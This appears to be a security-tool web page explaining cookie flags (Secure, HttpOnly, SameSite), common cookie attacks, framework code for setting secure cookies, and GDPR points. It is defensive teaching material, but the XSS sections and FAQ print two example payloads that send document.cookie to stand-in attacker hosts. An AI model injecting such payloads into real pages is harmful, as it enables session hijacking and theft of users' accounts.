Cookie Security Analyzer

Inspect cookie security flags: Secure, HttpOnly, SameSite. Find session cookies vulnerable to XSS theft and CSRF attacks.

What Are Cookie Security Flags?

Every HTTP cookie can carry attributes that control how the browser handles it. Three of these attributes exist purely for security: Secure, HttpOnly, and SameSite. They cost nothing to implement, add zero latency, and block entire categories of attacks. Yet a 2024 study by the University of Leuven found that 43% of Alexa Top 10,000 sites still serve at least one session cookie without all three flags set.

Secure restricts the cookie to HTTPS connections only. Without it, the cookie travels in cleartext over any HTTP request. Which means anyone performing a man-in-the-middle attack on a coffee shop Wi-Fi network can capture it with tcpdump in under 10 seconds.

HttpOnly tells the browser to hide the cookie from JavaScript per the MDN cookie security specification. The document.cookie API will not return it. This is your primary defense against cross-site scripting (XSS) attacks that attempt to steal session tokens.

SameSite controls whether the browser sends the cookie on cross-origin requests. Set to Strict or Lax, it prevents CSRF attacks by ensuring the cookie only accompanies requests that originate from your own domain. Chrome, Edge, and Firefox default to Lax when no SameSite attribute is specified (see web.dev SameSite guide), but Safari still defaults to None in some configurations.

Cookie Flags Reference

FlagWhat It DoesAttack It PreventsDefault If Missing
SecureOnly send over HTTPSNetwork interception (MITM)Sent over HTTP and HTTPS
HttpOnlyBlock JavaScript accessXSS cookie theftAccessible via document.cookie
SameSite=StrictBlock all cross-site requestsCSRF, cross-site timing attacksLax (Chrome/Edge/Firefox)
SameSite=LaxBlock cross-site POST/iframe/fetchCSRF on state-changing requestsLax (Chrome/Edge/Firefox)
SameSite=NoneAllow all cross-site requestsNothing (disables protection)Requires Secure flag
__Host- prefixEnforce Secure + no Domain + Path=/Subdomain hijacking, cookie injectionNo prefix enforcement
__Secure- prefixEnforce Secure flagCookie injection over HTTPNo prefix enforcement

SameSite Explained: Strict vs Lax vs None

The SameSite attribute is the most misunderstood cookie flag. Here is exactly when each value applies.

SameSite=Strict

The cookie is never sent on cross-site requests. Period. If a user clicks a link to your site from Google search results, their session cookie will not be included in that first request. They will appear logged out until they navigate to another page on your domain.

Best for: Banking applications, admin panels, anything where security outweighs the minor UX friction of re-authentication after following an external link.

SameSite=Lax

The cookie is sent on top-level GET navigations (clicking a link) but blocked on cross-site POST requests, iframes, AJAX calls, and image loads. This is the sweet spot for most web applications: users stay logged in when clicking links from emails or search results, while CSRF attacks that rely on cross-site form submissions are blocked.

Best for:Most web applications. This is Chrome's default since February 2020.

SameSite=None

The cookie is sent on every request, regardless of origin. You must also set the Secure flag. Browsers reject SameSite=None without Secure. This effectively opts out of CSRF protection for that cookie.

Best for: Third-party embedded widgets (Stripe checkout iframe, social login buttons, analytics that need cross-domain correlation). Never use it for session cookies unless cross-site access is a hard requirement.

Cookie-Based Attacks You Should Know

XSS Cookie Theft

An attacker injects malicious JavaScript into your page through an unsanitized input field, URL parameter, or stored comment. The script reads document.cookie and sends all cookie values to an external server. A real-world payload: fetch('https://attacker.com/log?c='+document.cookie). The fix: set HttpOnly on session cookies and deploy a Content Security Policy. The OWASP HttpOnly guide covers this in detail. Read more about XSS prevention.

Session Hijacking via Network Interception

Without the Secureflag, cookies travel in cleartext over HTTP. An attacker on the same Wi-Fi network runs ARP spoofing with tools like ettercap or bettercap, intercepts the traffic, and extracts the session token from the Cookie header. They paste it into their own browser and gain full access to the victim's account. TLS everywhere plus the Secure flag eliminates this attack. Verify your SSL/TLS configuration to ensure HTTPS is properly enforced.

Cross-Site Request Forgery (CSRF)

The attacker hosts a page with a hidden form that auto-submits a POST request to your application (for example, transferring funds or changing an email address). If the victim is logged into your site, their browser automatically includes the session cookie with the forged request. The SameSite attribute (Lax or Strict) blocks the cookie from being sent on these cross-origin form submissions. A CSRF token in the request body adds defense-in-depth.

Cookie Tossing / Subdomain Injection

If an attacker controls any subdomain (say, evil.yoursite.com), they can set cookies for the parent domain .yoursite.com. This can overwrite legitimate session cookies with attacker-controlled values, leading to session fixation. The __Host- prefix prevents this because it requires Path=/ and forbids a Domain attribute.

How to Set Secure Cookies (Code Examples)

Copy-paste these snippets into your backend. Each sets a session cookie with all three security flags.

Express / Node.js

res.cookie('session', token, {
  httpOnly: true,    // block document.cookie access
  secure: true,      // HTTPS only
  sameSite: 'lax',   // block cross-site POST
  maxAge: 3600000,   // 1 hour in milliseconds
  path: '/',
});

Next.js (Route Handler / Server Action)

import { cookies } from 'next/headers';

const cookieStore = await cookies();
cookieStore.set('session', token, {
  httpOnly: true,
  secure: process.env.NODE_ENV === 'production',
  sameSite: 'lax',
  maxAge: 60 * 60, // 1 hour in seconds
  path: '/',
});

Django (Python)

# settings.py
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_HTTPONLY = True

# Or set manually in a view:
response.set_cookie(
    'session', token,
    httponly=True, secure=True,
    samesite='Lax', max_age=3600,
)

Laravel (PHP)

// config/session.php
'secure' => env('SESSION_SECURE_COOKIE', true),
'http_only' => true,
'same_site' => 'lax',

// Or manually:
return response()->cookie(
    'session', $token, 60, // 60 minutes
    '/', null, true, true  // secure=true, httpOnly=true
)->withCookie(
    cookie('session', $token)->withSameSite('Lax')
);

Ruby on Rails

# config/initializers/session_store.rb
Rails.application.config.session_store :cookie_store,
  key: '__Host-session',
  secure: Rails.env.production?,
  httponly: true,
  same_site: :lax

# Or in a controller:
cookies[:session] = {
  value: token,
  httponly: true,
  secure: true,
  same_site: :lax,
  expires: 1.hour.from_now,
}

Cookies and GDPR / Privacy Compliance

Cookie security and cookie privacy are different problems, but they overlap. Under the EU'sGeneral Data Protection Regulation (GDPR) and the ePrivacy Directive, you must obtain informed consent before setting non-essential cookies. Here is what that means in practice.

Strictly necessary cookies: no consent needed

Session authentication, load balancer affinity, CSRF tokens, shopping cart state, and user language preferences (when the user explicitly chose a language). These are exempt from consent because the service cannot function without them.

Analytics and tracking: consent required

Google Analytics, Facebook Pixel, Hotjar, Mixpanel, and any cookie that tracks user behavior across pages or sessions requires explicit, informed consent before the cookie is set. Not after. The GDPR fine for pre-consent tracking can reach 4% of annual global revenue.

First-party vs third-party

A first-party cookie is set by your domain. A third-party cookie is set by an embedded domain (ad network, analytics, social widget). Third-party cookies face the strictest browser restrictions and regulatory scrutiny. Safari blocks them entirely by default. Design your application to rely only on first-party cookies whenever possible.

Learn more about GDPR compliance for developers.

Common Cookie Security Mistakes

Missing HttpOnly on session cookies

The single most common vulnerability we find. Without HttpOnly, one XSS vulnerability lets an attacker steal every active session on your site. Takes 5 seconds to fix, prevents catastrophic data breaches.

Using SameSite=None without justification

Developers set SameSite=Noneto "fix" cross-origin issues during development and forget to remove it. This disables CSRF protection for that cookie. Unless you are building an embedded widget, use Lax.

Overly broad Domain attribute

Setting Domain=.example.com makes the cookie accessible to every subdomain, including compromised or forgotten ones like staging.example.com or old-blog.example.com. Omit the Domain attribute or use the __Host- prefix.

Storing sensitive data in cookie values

Cookies should contain opaque session identifiers, not user data, roles, or permissions. We regularly see cookies containing base64-encoded JSON with email addresses, user IDs, and even privilege flags that can be tampered with client-side.

No cookie expiration policy

Session cookies that never expire give attackers an unlimited window. If a token is leaked, it remains valid forever. Set reasonable Max-Agevalues: 1 hour for sensitive operations, 30 days for "remember me" with re-authentication for privilege escalation.

Not checking cookie headers in production

Development environments often disable Secure (because localhost uses HTTP) and forget to re-enable it for production. Always verify your live site's cookies with a tool like this analyzer. Check your HTTP security headers while you are at it.

Frequently Asked Questions

What does the Secure flag do on a cookie?
The Secure flag tells the browser to only send the cookie over HTTPS connections. Without it, cookies transmit in plaintext over HTTP, allowing anyone on the same network (coffee shop Wi-Fi, corporate proxy, compromised router) to read session tokens with a packet sniffer like Wireshark. Set Secure on every cookie that contains authentication data, CSRF tokens, or user preferences.
What is the HttpOnly cookie flag?
HttpOnly prevents JavaScript from accessing a cookie via document.cookie. This is the primary defense against XSS-based session theft. If an attacker injects a script tag into your page, they cannot exfiltrate HttpOnly cookies. Note that HttpOnly does not prevent the cookie from being sent with requests. It only blocks client-side read access.
What is the difference between SameSite=Strict and SameSite=Lax?
SameSite=Strict blocks the cookie on ALL cross-site requests, including top-level navigations. If someone clicks a link to your site from an email, the cookie will not be sent on that first request. SameSite=Lax is less restrictive: it sends the cookie on top-level GET navigations (clicking links) but blocks it on cross-site POST requests, form submissions, and embedded iframes. Lax is the default in Chrome and Edge since 2020.
Should I set SameSite=None on my cookies?
Only if you genuinely need cross-site cookie access. For example, embedded payment widgets, third-party login iframes, or cross-domain API calls that require authentication. SameSite=None requires the Secure flag (browsers reject None without Secure). Using None unnecessarily re-enables CSRF attack vectors that Lax/Strict prevent.
Can cookies be stolen through XSS attacks?
Yes, unless the HttpOnly flag is set. A typical XSS cookie theft payload looks like: new Image().src='https://evil.com/steal?c='+document.cookie. The attacker injects this script through an unsanitized input field, comment box, or URL parameter. The victim's browser executes it and sends all non-HttpOnly cookies to the attacker's server. Combine HttpOnly with a strong Content Security Policy to mitigate this.
What is session hijacking and how do cookies relate to it?
Session hijacking means an attacker obtains a valid session cookie and impersonates the user. Attack vectors include: network interception (cookies without Secure flag over HTTP), XSS theft (cookies without HttpOnly), session fixation (predictable session IDs), and physical access to the browser's cookie store. Defense requires Secure + HttpOnly + SameSite flags, short session lifetimes, and binding sessions to client fingerprints.
Do I need cookie consent banners for session cookies?
Under GDPR and the ePrivacy Directive, strictly necessary cookies (session authentication, shopping cart, CSRF tokens) do not require consent. However, analytics cookies, advertising trackers, and preference cookies that are not essential to the service DO require informed consent before being set. The key test is whether the cookie is necessary for the service the user explicitly requested.
What is the __Host- cookie prefix and should I use it?
The __Host- prefix is a security hardening mechanism. A cookie named __Host-session must have the Secure flag, must not have a Domain attribute, and must have Path=/. Browsers enforce these constraints. If your server tries to set a __Host- cookie without meeting all requirements, the browser rejects it. This prevents subdomain attacks and cookie injection. Use it for session cookies whenever possible.
How does this cookie analyzer work?
Our tool sends an HTTP request to the URL you enter and inspects the Set-Cookie headers in the response. It parses each cookie's attributes (Secure, HttpOnly, SameSite, Domain, Path, Expires, Max-Age) and flags security issues. Common findings include session cookies missing HttpOnly, authentication cookies without Secure, and cookies using SameSite=None without a legitimate cross-site use case.
Are third-party cookies being phased out?
Chrome planned to deprecate third-party cookies but reversed course in 2025, instead giving users more control through the Privacy Sandbox. Safari and Firefox already block third-party cookies by default via Intelligent Tracking Prevention (ITP) and Enhanced Tracking Protection (ETP). Regardless of Chrome's decision, building your application around first-party cookies is the resilient strategy.

Related Security Tools

Want a Complete Security Audit?

Cookie flags are just one layer. Our full scan checks SSL/TLS configuration, HTTP security headers, exposed files, open ports, DNS records, and more. All from a single URL.

Run a Full Security Scan

Need the full picture?

Run a complete security audit with 150+ checks, OWASP Top 10, and CVE lookup.

Run Full Scan